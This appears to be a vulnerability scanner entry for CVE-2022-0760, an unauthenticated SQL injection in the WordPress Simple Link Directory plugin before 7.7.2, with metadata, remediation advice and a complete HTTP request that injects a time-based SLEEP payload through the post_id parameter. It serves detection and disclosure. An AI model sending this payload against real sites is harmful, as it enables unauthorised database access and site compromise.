| Title | WordPress Simple Link Directory <7.7.2 - SQL injection |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the WordPress site. |
| Remediation | Update to the latest version of WordPress Simple Link Directory plugin (7.7.2 or higher) to mitigate the SQL injection vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.85913 |
| CVE ID | CVE-2022-0760 |
| CWE ID | CWE-89 |
| Tags | time-based-sqli cve cve2022 sqli wordpress wp-plugin wp simple-link-directory unauth wpscan quantumcloud vkev vuln |
WordPress Simple Link Directory plugin before 7.7.2 contains a SQL injection vulnerability. The plugin does not validate and escape the post_id parameter before using it in a SQL statement via the qcopd_upvote_action AJAX action, available to unauthenticated and authenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 71
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=qcopd_upvote_action&post_id=(SELECT 3 FROM (SELECT SLEEP(7))enz)
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